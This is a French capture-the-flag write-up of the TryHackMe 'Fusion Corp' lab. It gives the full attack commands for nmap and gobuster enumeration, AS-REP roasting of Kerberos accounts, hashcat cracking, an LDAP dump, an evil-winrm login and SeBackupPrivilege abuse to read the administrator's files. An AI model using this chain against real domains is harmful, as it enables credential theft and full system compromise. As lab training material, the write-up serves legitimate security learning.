Fusion Corp est une box de TryHackMe dédiée à l’attaque sur l’Active Directory, Kerberos, et l’escalade de privilège sur Windows. C’est une box classé hard, plus pour la partie concernant les élévations de droits.
Comme pour toutes les box, il faut énumérer avec un outil comme nmap. J’utilise une commande avec l’option -T5 pour une question de rapidité. Une fois les différents ports ouverts connus, je fais une énumération plus poussée.
Commande :
nmap -T5 -p- 10.10.197.117
Comme on est sur un AD, on a beaucoup de ports ouverts. Il ne faut pas prendre en compte tous les ports en 49666 et autres. En 1ier lieu on va s’intéresser au port 80 qui héberge un serveur HTTP.
Pour énumérer le site web, on va utiliser Gobuster.
Commande :
gobuster dir -u http://10.10.197.117 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
On a un répertoire intéressant /backup. On va se rendre sur le site et télécharger le fichier qui est proposé.
Le fichier employees contient différents fichiers dont content.xml. Ce dernier contient une liste noms d’utilisateurs. Il faut les extraire, d’une manière ou d’une autre. L’un d’eux va avoir une grande utilité.
Une fois la liste créée, on va l’utiliser pour voir si l’un des comptes est « vulnérable ». Pour cela, on va utiliser GetNPUsers.py d’Impacket. Il permet de veriphier si pré-authentification Kerberos est activée ou non. Si elle n’est pas activé, le script python, essaiera de récupérer le hash du mot de passe.
Commande :
python GetNPUsers.py ‘fusion.corp/’ -usersfile users.txt -dc-ip 10.10.197.117
Note : contenu du fichier users.txt
aarnold
llinda
jpowel
dvroslav
tjefferson
nmaurin
lparker
kgarland
dpertersen
On a obtenu un hash pour l’utilisateur lparker. On va le casser avec hashcat . Avant, il faut déterminer le type de hash. Pour cela, il faut récupérer la mention du début, c’est-à-dire $krb5asrep$23$ et aller sur le site de hashcat voir à quel hash-Mode cela correspond.
$krb5asrep$23$ correspond à 18200 . A noter que ce Hash-Mode n’est valable que pour hashcat.
Commande :
.\hashcat64.exe -m 18200 .\hash2.txt .\rockyou.txt
-m : pour le Hash-Mode
hash2.txt : contient le hash de lparker
-a : spécifie que l’on va utiliser une wordlist.
Commande pour afficher le potfile :
.\hashcat64.exe -m 18200 .\hash2.txt ––show
Cette méthode consiste à utiliser un autre outil : ldapdomaindump . Il est normalement préinstallé dans Kali, mais vous aurez peut-être installé une version plus récente.
Définition : ldapdomaindump est un outil qui vise à résoudre ce problème, en collectant et en analysant les informations disponibles via LDAP et en les produisant dans un format HTML lisible par tous.
Commande d’installation :
pip3 install ldapdomaindump
Commande :
ldapdomaindump 10.10.197.117-u ‘fusion.corp\lparker’ -p ‘redacted’ –no-json –no-grep
Une fois l’exécution du script terminé, les résultats se trouve dans le dossier où la commande a été lancée. Il suffit de faire ls pour les avoir…
Ceux sont des fichiers HTML. Afin de les lire plus facilement, on va les ouvrir avec Firefox.
Dans la barre d’adresse, il faut mettre ceci file:/// . On arrive sur / et ensuite il faut aller chercher le bon dossier. Si on connait déjà le fichier html à aller chercher on peut faire firefox filename.html
C’est dans le fichier domain_users.html que l’on trouve une information importante. Elle va nous servir à se connecter au système via l’outil evil-winrm
Commande :
ruby evil-winrm.rb -i 10.10.236.25 -u ‘jmurphy’ -p ‘redacted’
L’une des premières commandes à utiliser sur Windows est whoami /all
L’utilisateur jmurphy a le privilège « SeBackupPrivilege » . On avait déjà pu le voir grâce au résultat de ldpadomaindump.
Le site de hacktricks nous donne plus information concernant la méthode obtenir des privilèges système et en particulier ce lien-là .
Explications :
Il faut uploader deux fichiers DLL sur le système puis les importer pour ensuite exécuter le module Copy-FileSeBackupPrivilege. Avec ça on pourra faire un backup du fichier flag.txt et ensuite le lire.
À noter qu’il faut cloner le dossier https://github.com/giuliano108/SeBackupPrivilege ( git clone )
Ensuite il faut faire la copie dans winrm en allant chercher dans les sous dossiers du dossier cloner sinon il peut y avoir des erreurs.
Commandes à effectuer sur le système victime :
upload /root/tools/windows/initial_shell/evil-winrm/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload /root/tools/windows/initial_shell/evil-winrm/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Explications :
Copy-FileSeBackupPrivilege c:\users\administrator\desktop\flag.txt flag.txt
type flag.txt
Commandes finale pour lire le fichier flag.txt :
Copy-FileSeBackupPrivilege c:\users\administrator\desktop\flag.txt flag.txt
type flag.txt